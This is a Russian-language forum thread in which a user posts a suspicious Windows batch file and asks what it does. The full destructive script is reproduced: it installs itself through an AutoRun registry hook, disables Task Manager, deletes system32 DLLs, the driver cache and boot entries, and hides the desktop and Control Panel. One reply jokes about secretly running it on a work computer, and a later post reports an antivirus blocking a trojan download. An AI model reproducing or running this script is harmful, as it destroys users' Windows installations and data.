Собственно вот что в батнике. Кто понимает расскажите. Только не запускайте а то мало ли.
ну по мне так,
Мне сказали что удаляет рабочий стол и стирает все драйвера. Может кто знает где про это можно прочитать?
Mihey™: Мне сказали что удаляет рабочий стол и стирает все драйвера. Может кто знает где про это можно прочитать?
@echo off
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\system32\batinit.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%\system32\*.dll" /q >nul
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
del %SystemRoot%\system32\devmgmt.msc >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
time 0:00 >nul
del "%SystemRoot%\Cursors\*.*" >nul
del "%SystemRoot%\Media" /q >nul
del "%SystemRoot%\Web\Wallpaper" /q >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
taskkill /f /im explorer.exe >nul
del "%SystemRoot%\notepad.exe" >nul
расшифровка
Дем9968 можешь рассказать как ты это расшифровал? И где про это почитать можно?
Вот теперь все ясно.
Спасибо, закину на флешку и тихонько запущу на одном компе на работе ![]()
— Ålderdom - ingen glädje..
Mihey™: Дем9968 можешь рассказать как ты это расшифровал? И где про это почитать можно?
+1
— 12
Спасибку тыкнул в другой теме =) Благодарю
— 12
Вот сегодня опять файлик мне пытались впарить, каспер сразу отреагировал и даже отказался его загрузить.
Собственно сам файл: _http://dump.ru/file/3387790
описание:
ACCESS DENIED
The requested URL could not be retrieved
While trying to retrieve the URL: http://s1.dump.ru/file_download/MzM4Nzc5MD...MS4zMA==/l2.exe
The folowing error was encountered:
The requested object is INFECTED. The following viruses Trojan-Dropper.Win32.Agent.qlt were found
Please contact your service provider if you feel this is incorrect.
Generated Wed Sep 09 16:19:41 2009 by Антивирус Касперского 7.0